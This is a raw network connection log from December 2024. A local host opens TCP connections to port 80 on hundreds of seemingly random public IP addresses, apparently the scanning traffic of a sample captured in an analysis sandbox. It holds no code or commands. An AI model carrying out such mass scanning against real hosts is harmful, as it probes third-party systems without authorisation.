Dec 3, 2024 23:16:46.890567064 CET	40596	80	192.168.2.23	13.196.1.102
Dec 3, 2024 23:16:46.890571117 CET	40596	80	192.168.2.23	103.126.225.57
Dec 3, 2024 23:16:46.890571117 CET	40596	80	192.168.2.23	155.106.247.100
Dec 3, 2024 23:16:46.890575886 CET	40596	80	192.168.2.23	191.232.212.64
Dec 3, 2024 23:16:46.890578032 CET	40596	80	192.168.2.23	43.137.89.75
Dec 3, 2024 23:16:46.890578032 CET	40596	80	192.168.2.23	49.164.51.112
Dec 3, 2024 23:16:46.890583038 CET	40596	80	192.168.2.23	168.169.85.73
Dec 3, 2024 23:16:46.890594006 CET	40596	80	192.168.2.23	63.237.48.118
Dec 3, 2024 23:16:46.890599966 CET	40596	80	192.168.2.23	119.226.182.37
Dec 3, 2024 23:16:46.890602112 CET	40596	80	192.168.2.23	187.103.54.49
Dec 3, 2024 23:16:46.890615940 CET	40596	80	192.168.2.23	74.107.130.50
Dec 3, 2024 23:16:46.890615940 CET	40596	80	192.168.2.23	86.164.123.172
Dec 3, 2024 23:16:46.890615940 CET	40596	80	192.168.2.23	201.248.56.129
Dec 3, 2024 23:16:46.890625000 CET	40596	80	192.168.2.23	43.187.158.99
Dec 3, 2024 23:16:46.890629053 CET	40596	80	192.168.2.23	205.115.117.9
Dec 3, 2024 23:16:46.890641928 CET	40596	80	192.168.2.23	154.183.248.58
Dec 3, 2024 23:16:46.890647888 CET	40596	80	192.168.2.23	49.73.134.141
Dec 3, 2024 23:16:46.890650034 CET	40596	80	192.168.2.23	174.209.147.185
Dec 3, 2024 23:16:46.890652895 CET	40596	80	192.168.2.23	87.181.156.159
Dec 3, 2024 23:16:46.890655041 CET	40596	80	192.168.2.23	178.250.145.134
Dec 3, 2024 23:16:46.890670061 CET	40596	80	192.168.2.23	92.235.67.228
Dec 3, 2024 23:16:46.890671968 CET	40596	80	192.168.2.23	128.7.56.238
Dec 3, 2024 23:16:46.890671968 CET	40596	80	192.168.2.23	4.88.2.158
Dec 3, 2024 23:16:46.890676022 CET	40596	80	192.168.2.23	221.29.80.31
Dec 3, 2024 23:16:46.890692949 CET	40596	80	192.168.2.23	159.187.180.70
Dec 3, 2024 23:16:46.890695095 CET	40596	80	192.168.2.23	170.173.253.206
Dec 3, 2024 23:16:46.890697002 CET	40596	80	192.168.2.23	2.240.109.234
Dec 3, 2024 23:16:46.890697002 CET	40596	80	192.168.2.23	42.231.109.83
Dec 3, 2024 23:16:46.890697002 CET	40596	80	192.168.2.23	188.184.232.114
Dec 3, 2024 23:16:46.890698910 CET	40596	80	192.168.2.23	221.53.173.181
Dec 3, 2024 23:16:46.890700102 CET	40596	80	192.168.2.23	115.207.202.35
Dec 3, 2024 23:16:46.890700102 CET	40596	80	192.168.2.23	195.62.199.10
Dec 3, 2024 23:16:46.890700102 CET	40596	80	192.168.2.23	210.231.185.166
Dec 3, 2024 23:16:46.890712976 CET	40596	80	192.168.2.23	222.133.171.57
Dec 3, 2024 23:16:46.890727997 CET	40596	80	192.168.2.23	39.143.191.228
Dec 3, 2024 23:16:46.890727997 CET	40596	80	192.168.2.23	131.82.11.16
Dec 3, 2024 23:16:46.890727997 CET	40596	80	192.168.2.23	46.169.141.60
Dec 3, 2024 23:16:46.890729904 CET	40596	80	192.168.2.23	89.115.114.126
Dec 3, 2024 23:16:46.890729904 CET	40596	80	192.168.2.23	134.242.51.135
Dec 3, 2024 23:16:46.890729904 CET	40596	80	192.168.2.23	57.200.241.59
Dec 3, 2024 23:16:46.890738964 CET	40596	80	192.168.2.23	95.24.24.223
Dec 3, 2024 23:16:46.890738964 CET	40596	80	192.168.2.23	151.139.45.251
Dec 3, 2024 23:16:46.890741110 CET	40596	80	192.168.2.23	164.38.6.103
Dec 3, 2024 23:16:46.890742064 CET	40596	80	192.168.2.23	38.87.161.81
Dec 3, 2024 23:16:46.890742064 CET	40596	80	192.168.2.23	74.247.239.158
Dec 3, 2024 23:16:46.890758991 CET	40596	80	192.168.2.23	86.20.194.54
Dec 3, 2024 23:16:46.890760899 CET	40596	80	192.168.2.23	190.213.232.236
Dec 3, 2024 23:16:46.890760899 CET	40596	80	192.168.2.23	41.118.186.143
Dec 3, 2024 23:16:46.890765905 CET	40596	80	192.168.2.23	219.157.183.149
Dec 3, 2024 23:16:46.890767097 CET	40596	80	192.168.2.23	163.91.232.252
Dec 3, 2024 23:16:46.890773058 CET	40596	80	192.168.2.23	206.159.219.68
Dec 3, 2024 23:16:46.890773058 CET	40596	80	192.168.2.23	198.248.25.84
Dec 3, 2024 23:16:46.890785933 CET	40596	80	192.168.2.23	119.107.62.131
Dec 3, 2024 23:16:46.890789032 CET	40596	80	192.168.2.23	153.168.213.15
Dec 3, 2024 23:16:46.890789032 CET	40596	80	192.168.2.23	192.87.220.30
Dec 3, 2024 23:16:46.890804052 CET	40596	80	192.168.2.23	222.160.45.170
Dec 3, 2024 23:16:46.890810013 CET	40596	80	192.168.2.23	201.245.121.151
Dec 3, 2024 23:16:46.890810013 CET	40596	80	192.168.2.23	42.139.171.181
Dec 3, 2024 23:16:46.890810013 CET	40596	80	192.168.2.23	67.229.199.242
Dec 3, 2024 23:16:46.890810013 CET	40596	80	192.168.2.23	199.57.113.17
Dec 3, 2024 23:16:46.890810966 CET	40596	80	192.168.2.23	193.57.62.119
Dec 3, 2024 23:16:46.890810966 CET	40596	80	192.168.2.23	122.152.143.52
Dec 3, 2024 23:16:46.890813112 CET	40596	80	192.168.2.23	175.2.161.195
Dec 3, 2024 23:16:46.890820980 CET	40596	80	192.168.2.23	163.208.31.160
Dec 3, 2024 23:16:46.890826941 CET	40596	80	192.168.2.23	92.101.203.250
Dec 3, 2024 23:16:46.890837908 CET	40596	80	192.168.2.23	13.240.11.121
Dec 3, 2024 23:16:46.890837908 CET	40596	80	192.168.2.23	97.170.174.17
Dec 3, 2024 23:16:46.890849113 CET	40596	80	192.168.2.23	216.251.178.179
Dec 3, 2024 23:16:46.890850067 CET	40596	80	192.168.2.23	168.112.200.77
Dec 3, 2024 23:16:46.890849113 CET	40596	80	192.168.2.23	42.139.214.207
Dec 3, 2024 23:16:46.890850067 CET	40596	80	192.168.2.23	159.1.170.84
Dec 3, 2024 23:16:46.890850067 CET	40596	80	192.168.2.23	212.219.172.44
Dec 3, 2024 23:16:46.890852928 CET	40596	80	192.168.2.23	212.68.140.218
Dec 3, 2024 23:16:46.890856981 CET	40596	80	192.168.2.23	153.89.138.204
Dec 3, 2024 23:16:46.890871048 CET	40596	80	192.168.2.23	188.105.229.70
Dec 3, 2024 23:16:46.890871048 CET	40596	80	192.168.2.23	69.204.42.121
Dec 3, 2024 23:16:46.890876055 CET	40596	80	192.168.2.23	41.179.223.33
Dec 3, 2024 23:16:46.890883923 CET	40596	80	192.168.2.23	157.5.67.101
Dec 3, 2024 23:16:46.890885115 CET	40596	80	192.168.2.23	192.140.133.237
Dec 3, 2024 23:16:46.890893936 CET	40596	80	192.168.2.23	65.68.223.255
Dec 3, 2024 23:16:46.890899897 CET	40596	80	192.168.2.23	142.43.147.246
Dec 3, 2024 23:16:46.890912056 CET	40596	80	192.168.2.23	136.150.188.217
Dec 3, 2024 23:16:46.890916109 CET	40596	80	192.168.2.23	198.46.228.162
Dec 3, 2024 23:16:46.890916109 CET	40596	80	192.168.2.23	144.98.97.84
Dec 3, 2024 23:16:46.890916109 CET	40596	80	192.168.2.23	161.204.83.199
Dec 3, 2024 23:16:46.890930891 CET	40596	80	192.168.2.23	79.53.150.175
Dec 3, 2024 23:16:46.890930891 CET	40596	80	192.168.2.23	34.145.255.142
Dec 3, 2024 23:16:46.890930891 CET	40596	80	192.168.2.23	25.217.153.146
Dec 3, 2024 23:16:46.890930891 CET	40596	80	192.168.2.23	176.179.128.220
Dec 3, 2024 23:16:46.890935898 CET	40596	80	192.168.2.23	31.26.20.76
Dec 3, 2024 23:16:46.890938997 CET	40596	80	192.168.2.23	41.111.151.137
Dec 3, 2024 23:16:46.890938997 CET	40596	80	192.168.2.23	168.151.192.130
Dec 3, 2024 23:16:46.890938997 CET	40596	80	192.168.2.23	200.215.141.207
Dec 3, 2024 23:16:46.890938997 CET	40596	80	192.168.2.23	70.152.68.15
Dec 3, 2024 23:16:46.890948057 CET	40596	80	192.168.2.23	190.195.149.208
Dec 3, 2024 23:16:46.890948057 CET	40596	80	192.168.2.23	169.206.163.188
Dec 3, 2024 23:16:46.890957117 CET	40596	80	192.168.2.23	32.70.21.91
Dec 3, 2024 23:16:46.890958071 CET	40596	80	192.168.2.23	73.73.26.247
Dec 3, 2024 23:16:46.890958071 CET	40596	80	192.168.2.23	59.112.237.162
Dec 3, 2024 23:16:46.890959978 CET	40596	80	192.168.2.23	119.168.29.84
Dec 3, 2024 23:16:46.890964985 CET	40596	80	192.168.2.23	126.213.63.150
Dec 3, 2024 23:16:46.890969038 CET	40596	80	192.168.2.23	98.4.164.150
Dec 3, 2024 23:16:46.890969992 CET	40596	80	192.168.2.23	84.36.6.204
Dec 3, 2024 23:16:46.890969038 CET	40596	80	192.168.2.23	45.9.156.21
Dec 3, 2024 23:16:46.890976906 CET	40596	80	192.168.2.23	17.248.24.37
Dec 3, 2024 23:16:46.890978098 CET	40596	80	192.168.2.23	152.120.164.61
Dec 3, 2024 23:16:46.890981913 CET	40596	80	192.168.2.23	18.176.242.75
Dec 3, 2024 23:16:46.890984058 CET	40596	80	192.168.2.23	140.103.167.112
Dec 3, 2024 23:16:46.890985012 CET	40596	80	192.168.2.23	95.252.98.41
Dec 3, 2024 23:16:46.890997887 CET	40596	80	192.168.2.23	141.54.105.108
Dec 3, 2024 23:16:46.890999079 CET	40596	80	192.168.2.23	147.128.107.132
Dec 3, 2024 23:16:46.891001940 CET	40596	80	192.168.2.23	92.137.133.166
Dec 3, 2024 23:16:46.891001940 CET	40596	80	192.168.2.23	27.1.182.26
Dec 3, 2024 23:16:46.891001940 CET	40596	80	192.168.2.23	108.121.160.121
Dec 3, 2024 23:16:46.891020060 CET	40596	80	192.168.2.23	103.253.152.152
Dec 3, 2024 23:16:46.891022921 CET	40596	80	192.168.2.23	120.145.184.63
Dec 3, 2024 23:16:46.891030073 CET	40596	80	192.168.2.23	213.122.169.54
Dec 3, 2024 23:16:46.891032934 CET	40596	80	192.168.2.23	48.198.159.199
Dec 3, 2024 23:16:46.891041994 CET	40596	80	192.168.2.23	151.157.8.69
Dec 3, 2024 23:16:46.891051054 CET	40596	80	192.168.2.23	195.6.65.170
Dec 3, 2024 23:16:46.891052008 CET	40596	80	192.168.2.23	223.119.251.221
Dec 3, 2024 23:16:46.891053915 CET	40596	80	192.168.2.23	112.21.85.253
Dec 3, 2024 23:16:46.891067028 CET	40596	80	192.168.2.23	18.224.56.52
Dec 3, 2024 23:16:46.891067028 CET	40596	80	192.168.2.23	58.56.169.133
Dec 3, 2024 23:16:46.891067982 CET	40596	80	192.168.2.23	179.190.188.157
Dec 3, 2024 23:16:46.891067982 CET	40596	80	192.168.2.23	132.44.63.133
Dec 3, 2024 23:16:46.891068935 CET	40596	80	192.168.2.23	207.147.219.252
Dec 3, 2024 23:16:46.891071081 CET	40596	80	192.168.2.23	219.110.75.138
Dec 3, 2024 23:16:46.891071081 CET	40596	80	192.168.2.23	92.227.174.189
Dec 3, 2024 23:16:46.891082048 CET	40596	80	192.168.2.23	124.134.216.113
Dec 3, 2024 23:16:46.891093969 CET	40596	80	192.168.2.23	223.90.38.182
Dec 3, 2024 23:16:46.891452074 CET	55344	80	192.168.2.23	111.129.118.141
Dec 3, 2024 23:16:46.892062902 CET	56432	80	192.168.2.23	49.188.188.233
Dec 3, 2024 23:16:46.892664909 CET	55916	80	192.168.2.23	97.41.29.227
Dec 3, 2024 23:16:46.893275976 CET	59108	80	192.168.2.23	110.77.100.173
Dec 3, 2024 23:16:46.893898964 CET	58320	80	192.168.2.23	37.79.12.216
Dec 3, 2024 23:16:46.894490004 CET	41526	80	192.168.2.23	13.3.191.55
Dec 3, 2024 23:16:46.895078897 CET	43962	80	192.168.2.23	107.26.129.146
Dec 3, 2024 23:16:46.895674944 CET	41216	80	192.168.2.23	160.108.6.246
Dec 3, 2024 23:16:46.896286964 CET	58364	80	192.168.2.23	105.92.24.72
Dec 3, 2024 23:16:46.896886110 CET	41030	80	192.168.2.23	53.125.178.189
Dec 3, 2024 23:16:46.897497892 CET	60208	80	192.168.2.23	194.223.37.30
Dec 3, 2024 23:16:46.898091078 CET	57340	80	192.168.2.23	186.45.45.229
Dec 3, 2024 23:16:46.898682117 CET	60312	80	192.168.2.23	108.165.135.39
Dec 3, 2024 23:16:46.899288893 CET	48110	80	192.168.2.23	75.96.152.124
Dec 3, 2024 23:16:46.899877071 CET	36340	80	192.168.2.23	88.109.144.121
Dec 3, 2024 23:16:46.900475025 CET	46408	80	192.168.2.23	107.254.158.162
Dec 3, 2024 23:16:46.901065111 CET	58128	80	192.168.2.23	192.62.46.240
Dec 3, 2024 23:16:46.901684999 CET	35012	80	192.168.2.23	116.59.162.85
Dec 3, 2024 23:16:46.902272940 CET	42638	80	192.168.2.23	177.95.70.145
Dec 3, 2024 23:16:46.902857065 CET	58900	80	192.168.2.23	181.16.202.67
Dec 3, 2024 23:16:46.903470993 CET	48428	80	192.168.2.23	126.128.117.174
Dec 3, 2024 23:16:47.013750076 CET	80	40596	180.109.221.172	192.168.2.23
Dec 3, 2024 23:16:47.013762951 CET	80	40596	177.225.31.244	192.168.2.23
Dec 3, 2024 23:16:47.013771057 CET	80	40596	193.187.119.1	192.168.2.23
Dec 3, 2024 23:16:47.013807058 CET	40596	80	192.168.2.23	180.109.221.172
Dec 3, 2024 23:16:47.013807058 CET	40596	80	192.168.2.23	177.225.31.244
Dec 3, 2024 23:16:47.013809919 CET	40596	80	192.168.2.23	193.187.119.1
Dec 3, 2024 23:16:47.013840914 CET	80	40596	176.205.213.17	192.168.2.23
Dec 3, 2024 23:16:47.013850927 CET	80	40596	136.180.192.64	192.168.2.23
Dec 3, 2024 23:16:47.013859034 CET	80	40596	83.51.41.144	192.168.2.23
Dec 3, 2024 23:16:47.013868093 CET	80	40596	219.25.117.201	192.168.2.23
Dec 3, 2024 23:16:47.013878107 CET	80	40596	103.214.187.227	192.168.2.23
Dec 3, 2024 23:16:47.013885975 CET	40596	80	192.168.2.23	176.205.213.17
Dec 3, 2024 23:16:47.013885975 CET	80	40596	146.197.93.177	192.168.2.23
Dec 3, 2024 23:16:47.013890982 CET	80	40596	159.198.67.110	192.168.2.23
Dec 3, 2024 23:16:47.013891935 CET	40596	80	192.168.2.23	219.25.117.201
Dec 3, 2024 23:16:47.013892889 CET	40596	80	192.168.2.23	136.180.192.64
Dec 3, 2024 23:16:47.013896942 CET	40596	80	192.168.2.23	83.51.41.144
Dec 3, 2024 23:16:47.013919115 CET	40596	80	192.168.2.23	146.197.93.177
Dec 3, 2024 23:16:47.013931990 CET	40596	80	192.168.2.23	103.214.187.227
Dec 3, 2024 23:16:47.013931990 CET	40596	80	192.168.2.23	159.198.67.110
Dec 3, 2024 23:16:47.014312029 CET	80	40596	175.217.230.70	192.168.2.23
Dec 3, 2024 23:16:47.014328957 CET	80	40596	163.98.215.184	192.168.2.23
Dec 3, 2024 23:16:47.014345884 CET	80	40596	2.31.19.249	192.168.2.23
Dec 3, 2024 23:16:47.014353991 CET	80	40596	161.47.72.130	192.168.2.23
Dec 3, 2024 23:16:47.014358044 CET	80	40596	95.62.186.222	192.168.2.23
Dec 3, 2024 23:16:47.014360905 CET	40596	80	192.168.2.23	175.217.230.70
Dec 3, 2024 23:16:47.014367104 CET	40596	80	192.168.2.23	163.98.215.184
Dec 3, 2024 23:16:47.014379978 CET	40596	80	192.168.2.23	161.47.72.130
Dec 3, 2024 23:16:47.014385939 CET	40596	80	192.168.2.23	2.31.19.249
Dec 3, 2024 23:16:47.014389038 CET	40596	80	192.168.2.23	95.62.186.222
Dec 3, 2024 23:16:47.014539957 CET	80	40596	83.9.13.122	192.168.2.23
Dec 3, 2024 23:16:47.014549017 CET	80	40596	39.182.226.45	192.168.2.23
Dec 3, 2024 23:16:47.014559984 CET	80	40596	221.121.252.179	192.168.2.23
Dec 3, 2024 23:16:47.014568090 CET	80	40596	186.233.149.159	192.168.2.23
Dec 3, 2024 23:16:47.014576912 CET	40596	80	192.168.2.23	83.9.13.122
Dec 3, 2024 23:16:47.014578104 CET	80	40596	206.75.216.146	192.168.2.23
Dec 3, 2024 23:16:47.014580011 CET	40596	80	192.168.2.23	39.182.226.45
Dec 3, 2024 23:16:47.014588118 CET	80	40596	52.61.181.250	192.168.2.23
Dec 3, 2024 23:16:47.014588118 CET	40596	80	192.168.2.23	221.121.252.179
Dec 3, 2024 23:16:47.014590979 CET	40596	80	192.168.2.23	186.233.149.159
Dec 3, 2024 23:16:47.014597893 CET	80	40596	206.250.179.71	192.168.2.23
Dec 3, 2024 23:16:47.014600992 CET	40596	80	192.168.2.23	206.75.216.146
Dec 3, 2024 23:16:47.014606953 CET	80	40596	8.178.80.133	192.168.2.23
Dec 3, 2024 23:16:47.014616966 CET	80	40596	54.121.203.185	192.168.2.23
Dec 3, 2024 23:16:47.014621019 CET	80	40596	118.75.66.207	192.168.2.23
Dec 3, 2024 23:16:47.014630079 CET	80	40596	65.134.120.240	192.168.2.23
Dec 3, 2024 23:16:47.014635086 CET	80	40596	193.4.84.215	192.168.2.23
Dec 3, 2024 23:16:47.014635086 CET	40596	80	192.168.2.23	206.250.179.71
Dec 3, 2024 23:16:47.014636993 CET	40596	80	192.168.2.23	52.61.181.250
Dec 3, 2024 23:16:47.014647007 CET	80	40596	2.3.255.80	192.168.2.23
Dec 3, 2024 23:16:47.014657021 CET	80	40596	150.98.153.129	192.168.2.23
Dec 3, 2024 23:16:47.014659882 CET	80	40596	146.160.159.128	192.168.2.23
Dec 3, 2024 23:16:47.014662981 CET	40596	80	192.168.2.23	118.75.66.207
Dec 3, 2024 23:16:47.014663935 CET	80	40596	118.211.183.67	192.168.2.23
Dec 3, 2024 23:16:47.014666080 CET	40596	80	192.168.2.23	8.178.80.133
Dec 3, 2024 23:16:47.014666080 CET	40596	80	192.168.2.23	54.121.203.185
Dec 3, 2024 23:16:47.014669895 CET	80	40596	78.175.166.148	192.168.2.23
Dec 3, 2024 23:16:47.014669895 CET	40596	80	192.168.2.23	65.134.120.240
Dec 3, 2024 23:16:47.014671087 CET	40596	80	192.168.2.23	193.4.84.215
Dec 3, 2024 23:16:47.014678001 CET	80	40596	105.208.107.220	192.168.2.23
Dec 3, 2024 23:16:47.014687061 CET	80	40596	216.45.248.172	192.168.2.23
Dec 3, 2024 23:16:47.014694929 CET	80	40596	84.171.71.67	192.168.2.23
Dec 3, 2024 23:16:47.014708042 CET	40596	80	192.168.2.23	150.98.153.129
Dec 3, 2024 23:16:47.014719009 CET	40596	80	192.168.2.23	146.160.159.128
Dec 3, 2024 23:16:47.014719009 CET	40596	80	192.168.2.23	105.208.107.220
Dec 3, 2024 23:16:47.014719963 CET	40596	80	192.168.2.23	2.3.255.80
Dec 3, 2024 23:16:47.014719963 CET	40596	80	192.168.2.23	118.211.183.67
Dec 3, 2024 23:16:47.014719963 CET	40596	80	192.168.2.23	216.45.248.172
Dec 3, 2024 23:16:47.014724016 CET	40596	80	192.168.2.23	78.175.166.148
Dec 3, 2024 23:16:47.014745951 CET	40596	80	192.168.2.23	84.171.71.67
Dec 3, 2024 23:16:47.015125036 CET	80	55344	111.129.118.141	192.168.2.23
Dec 3, 2024 23:16:47.015173912 CET	55344	80	192.168.2.23	111.129.118.141
Dec 3, 2024 23:16:47.015655041 CET	41164	80	192.168.2.23	180.109.221.172
Dec 3, 2024 23:16:47.016248941 CET	35072	80	192.168.2.23	177.225.31.244
Dec 3, 2024 23:16:47.016836882 CET	56698	80	192.168.2.23	193.187.119.1
Dec 3, 2024 23:16:47.017426014 CET	55066	80	192.168.2.23	176.205.213.17
Dec 3, 2024 23:16:47.017997980 CET	46556	80	192.168.2.23	136.180.192.64
Dec 3, 2024 23:16:47.018625975 CET	33716	80	192.168.2.23	219.25.117.201
Dec 3, 2024 23:16:47.019227028 CET	52678	80	192.168.2.23	83.51.41.144
Dec 3, 2024 23:16:47.019818068 CET	60554	80	192.168.2.23	146.197.93.177
Dec 3, 2024 23:16:47.020433903 CET	40288	80	192.168.2.23	103.214.187.227
Dec 3, 2024 23:16:47.021028042 CET	42634	80	192.168.2.23	159.198.67.110
Dec 3, 2024 23:16:47.021625996 CET	46746	80	192.168.2.23	175.217.230.70
Dec 3, 2024 23:16:47.022229910 CET	44452	80	192.168.2.23	163.98.215.184
Dec 3, 2024 23:16:47.022814035 CET	36652	80	192.168.2.23	2.31.19.249
Dec 3, 2024 23:16:47.023407936 CET	47196	80	192.168.2.23	161.47.72.130
Dec 3, 2024 23:16:47.023988962 CET	36606	80	192.168.2.23	95.62.186.222
Dec 3, 2024 23:16:47.024602890 CET	58224	80	192.168.2.23	83.9.13.122
Dec 3, 2024 23:16:47.025208950 CET	46944	80	192.168.2.23	39.182.226.45
Dec 3, 2024 23:16:47.025806904 CET	48738	80	192.168.2.23	221.121.252.179
Dec 3, 2024 23:16:47.026395082 CET	44954	80	192.168.2.23	186.233.149.159
Dec 3, 2024 23:16:47.027009964 CET	42510	80	192.168.2.23	206.75.216.146
Dec 3, 2024 23:16:47.027143955 CET	80	48428	126.128.117.174	192.168.2.23
Dec 3, 2024 23:16:47.027180910 CET	48428	80	192.168.2.23	126.128.117.174
Dec 3, 2024 23:16:47.027628899 CET	45804	80	192.168.2.23	52.61.181.250
Dec 3, 2024 23:16:47.028211117 CET	34326	80	192.168.2.23	206.250.179.71
Dec 3, 2024 23:16:47.028808117 CET	35458	80	192.168.2.23	8.178.80.133
Dec 3, 2024 23:16:47.029396057 CET	40246	80	192.168.2.23	54.121.203.185
Dec 3, 2024 23:16:47.029993057 CET	40158	80	192.168.2.23	118.75.66.207
Dec 3, 2024 23:16:47.030603886 CET	51556	80	192.168.2.23	65.134.120.240
Dec 3, 2024 23:16:47.031189919 CET	60198	80	192.168.2.23	193.4.84.215
Dec 3, 2024 23:16:47.031797886 CET	55712	80	192.168.2.23	146.160.159.128
Dec 3, 2024 23:16:47.032397032 CET	45140	80	192.168.2.23	2.3.255.80
Dec 3, 2024 23:16:47.032984018 CET	33472	80	192.168.2.23	150.98.153.129
Dec 3, 2024 23:16:47.033569098 CET	50374	80	192.168.2.23	118.211.183.67
Dec 3, 2024 23:16:47.034168959 CET	52862	80	192.168.2.23	78.175.166.148
Dec 3, 2024 23:16:47.034734011 CET	41142	80	192.168.2.23	105.208.107.220
Dec 3, 2024 23:16:47.035326958 CET	48388	80	192.168.2.23	216.45.248.172
Dec 3, 2024 23:16:47.035923004 CET	41418	80	192.168.2.23	84.171.71.67
Dec 3, 2024 23:16:47.036360979 CET	55344	80	192.168.2.23	111.129.118.141
Dec 3, 2024 23:16:47.036372900 CET	55344	80	192.168.2.23	111.129.118.141
Dec 3, 2024 23:16:47.036653996 CET	55456	80	192.168.2.23	111.129.118.141
Dec 3, 2024 23:16:47.037023067 CET	48428	80	192.168.2.23	126.128.117.174
Dec 3, 2024 23:16:47.037023067 CET	48428	80	192.168.2.23	126.128.117.174
Dec 3, 2024 23:16:47.037285089 CET	48502	80	192.168.2.23	126.128.117.174
Dec 3, 2024 23:16:47.139352083 CET	80	41164	180.109.221.172	192.168.2.23
Dec 3, 2024 23:16:47.139440060 CET	41164	80	192.168.2.23	180.109.221.172
Dec 3, 2024 23:16:47.139553070 CET	41164	80	192.168.2.23	180.109.221.172
Dec 3, 2024 23:16:47.139553070 CET	41164	80	192.168.2.23	180.109.221.172
Dec 3, 2024 23:16:47.139870882 CET	41238	80	192.168.2.23	180.109.221.172
Dec 3, 2024 23:16:47.139936924 CET	80	35072	177.225.31.244	192.168.2.23
Dec 3, 2024 23:16:47.139974117 CET	35072	80	192.168.2.23	177.225.31.244
Dec 3, 2024 23:16:47.140289068 CET	35072	80	192.168.2.23	177.225.31.244
Dec 3, 2024 23:16:47.140289068 CET	35072	80	192.168.2.23	177.225.31.244
Dec 3, 2024 23:16:47.140464067 CET	80	56698	193.187.119.1	192.168.2.23
Dec 3, 2024 23:16:47.140501976 CET	56698	80	192.168.2.23	193.187.119.1
Dec 3, 2024 23:16:47.140539885 CET	35146	80	192.168.2.23	177.225.31.244
Dec 3, 2024 23:16:47.140994072 CET	56698	80	192.168.2.23	193.187.119.1
Dec 3, 2024 23:16:47.140994072 CET	56698	80	192.168.2.23	193.187.119.1
Dec 3, 2024 23:16:47.141114950 CET	80	55066	176.205.213.17	192.168.2.23
Dec 3, 2024 23:16:47.141154051 CET	55066	80	192.168.2.23	176.205.213.17
Dec 3, 2024 23:16:47.141277075 CET	56772	80	192.168.2.23	193.187.119.1
Dec 3, 2024 23:16:47.141654968 CET	80	46556	136.180.192.64	192.168.2.23
Dec 3, 2024 23:16:47.141697884 CET	46556	80	192.168.2.23	136.180.192.64
Dec 3, 2024 23:16:47.141731977 CET	55066	80	192.168.2.23	176.205.213.17
Dec 3, 2024 23:16:47.141731977 CET	55066	80	192.168.2.23	176.205.213.17
Dec 3, 2024 23:16:47.142014980 CET	55140	80	192.168.2.23	176.205.213.17
Dec 3, 2024 23:16:47.142307043 CET	80	33716	219.25.117.201	192.168.2.23
Dec 3, 2024 23:16:47.142349005 CET	33716	80	192.168.2.23	219.25.117.201
Dec 3, 2024 23:16:47.142417908 CET	46556	80	192.168.2.23	136.180.192.64
Dec 3, 2024 23:16:47.142431974 CET	46556	80	192.168.2.23	136.180.192.64
Dec 3, 2024 23:16:47.142710924 CET	46630	80	192.168.2.23	136.180.192.64
Dec 3, 2024 23:16:47.142828941 CET	80	52678	83.51.41.144	192.168.2.23
Dec 3, 2024 23:16:47.142867088 CET	52678	80	192.168.2.23	83.51.41.144
Dec 3, 2024 23:16:47.143136978 CET	33716	80	192.168.2.23	219.25.117.201
Dec 3, 2024 23:16:47.143136978 CET	33716	80	192.168.2.23	219.25.117.201
Dec 3, 2024 23:16:47.143426895 CET	33790	80	192.168.2.23	219.25.117.201
Dec 3, 2024 23:16:47.143487930 CET	80	60554	146.197.93.177	192.168.2.23
Dec 3, 2024 23:16:47.143529892 CET	60554	80	192.168.2.23	146.197.93.177
Dec 3, 2024 23:16:47.143883944 CET	52678	80	192.168.2.23	83.51.41.144
Dec 3, 2024 23:16:47.143883944 CET	52678	80	192.168.2.23	83.51.41.144
Dec 3, 2024 23:16:47.144087076 CET	80	40288	103.214.187.227	192.168.2.23
Dec 3, 2024 23:16:47.144124031 CET	40288	80	192.168.2.23	103.214.187.227
Dec 3, 2024 23:16:47.144162893 CET	52752	80	192.168.2.23	83.51.41.144
Dec 3, 2024 23:16:47.144584894 CET	60554	80	192.168.2.23	146.197.93.177
Dec 3, 2024 23:16:47.144584894 CET	60554	80	192.168.2.23	146.197.93.177
Dec 3, 2024 23:16:47.144685984 CET	80	42634	159.198.67.110	192.168.2.23
Dec 3, 2024 23:16:47.144731045 CET	42634	80	192.168.2.23	159.198.67.110
Dec 3, 2024 23:16:47.144862890 CET	60628	80	192.168.2.23	146.197.93.177
Dec 3, 2024 23:16:47.145272017 CET	80	46746	175.217.230.70	192.168.2.23
Dec 3, 2024 23:16:47.145282030 CET	40288	80	192.168.2.23	103.214.187.227
Dec 3, 2024 23:16:47.145296097 CET	40288	80	192.168.2.23	103.214.187.227
Dec 3, 2024 23:16:47.145304918 CET	46746	80	192.168.2.23	175.217.230.70
Dec 3, 2024 23:16:47.145564079 CET	40362	80	192.168.2.23	103.214.187.227
Dec 3, 2024 23:16:47.146004915 CET	42634	80	192.168.2.23	159.198.67.110
Dec 3, 2024 23:16:47.146004915 CET	42634	80	192.168.2.23	159.198.67.110
Dec 3, 2024 23:16:47.146291018 CET	42708	80	192.168.2.23	159.198.67.110
Dec 3, 2024 23:16:47.146692038 CET	46746	80	192.168.2.23	175.217.230.70
Dec 3, 2024 23:16:47.146692038 CET	46746	80	192.168.2.23	175.217.230.70
Dec 3, 2024 23:16:47.146970987 CET	46820	80	192.168.2.23	175.217.230.70
Dec 3, 2024 23:16:47.147072077 CET	80	47196	161.47.72.130	192.168.2.23
Dec 3, 2024 23:16:47.147110939 CET	47196	80	192.168.2.23	161.47.72.130
Dec 3, 2024 23:16:47.147418976 CET	47196	80	192.168.2.23	161.47.72.130
Dec 3, 2024 23:16:47.147428989 CET	47196	80	192.168.2.23	161.47.72.130
Dec 3, 2024 23:16:47.147728920 CET	47266	80	192.168.2.23	161.47.72.130
Dec 3, 2024 23:16:47.155491114 CET	80	55712	146.160.159.128	192.168.2.23
Dec 3, 2024 23:16:47.155541897 CET	55712	80	192.168.2.23	146.160.159.128
Dec 3, 2024 23:16:47.155608892 CET	55712	80	192.168.2.23	146.160.159.128
Dec 3, 2024 23:16:47.155608892 CET	55712	80	192.168.2.23	146.160.159.128
Dec 3, 2024 23:16:47.155878067 CET	55756	80	192.168.2.23	146.160.159.128
Dec 3, 2024 23:16:47.160027027 CET	80	55344	111.129.118.141	192.168.2.23
Dec 3, 2024 23:16:47.160732031 CET	80	48428	126.128.117.174	192.168.2.23
Dec 3, 2024 23:16:47.203902006 CET	80	55344	111.129.118.141	192.168.2.23
Dec 3, 2024 23:16:47.203958988 CET	80	48428	126.128.117.174	192.168.2.23
Dec 3, 2024 23:16:47.263298988 CET	80	41164	180.109.221.172	192.168.2.23
Dec 3, 2024 23:16:47.263622046 CET	80	41238	180.109.221.172	192.168.2.23
Dec 3, 2024 23:16:47.263695955 CET	41238	80	192.168.2.23	180.109.221.172
Dec 3, 2024 23:16:47.263853073 CET	41238	80	192.168.2.23	180.109.221.172
